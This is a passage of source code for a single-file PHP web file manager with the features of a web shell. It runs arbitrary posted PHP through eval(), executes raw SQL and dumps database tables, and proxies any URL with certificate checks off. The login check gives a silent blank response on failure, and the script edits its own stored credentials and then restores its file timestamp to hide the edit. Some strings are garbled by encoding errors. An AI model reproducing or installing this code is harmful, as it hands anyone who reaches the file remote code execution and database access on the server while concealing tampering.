	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9B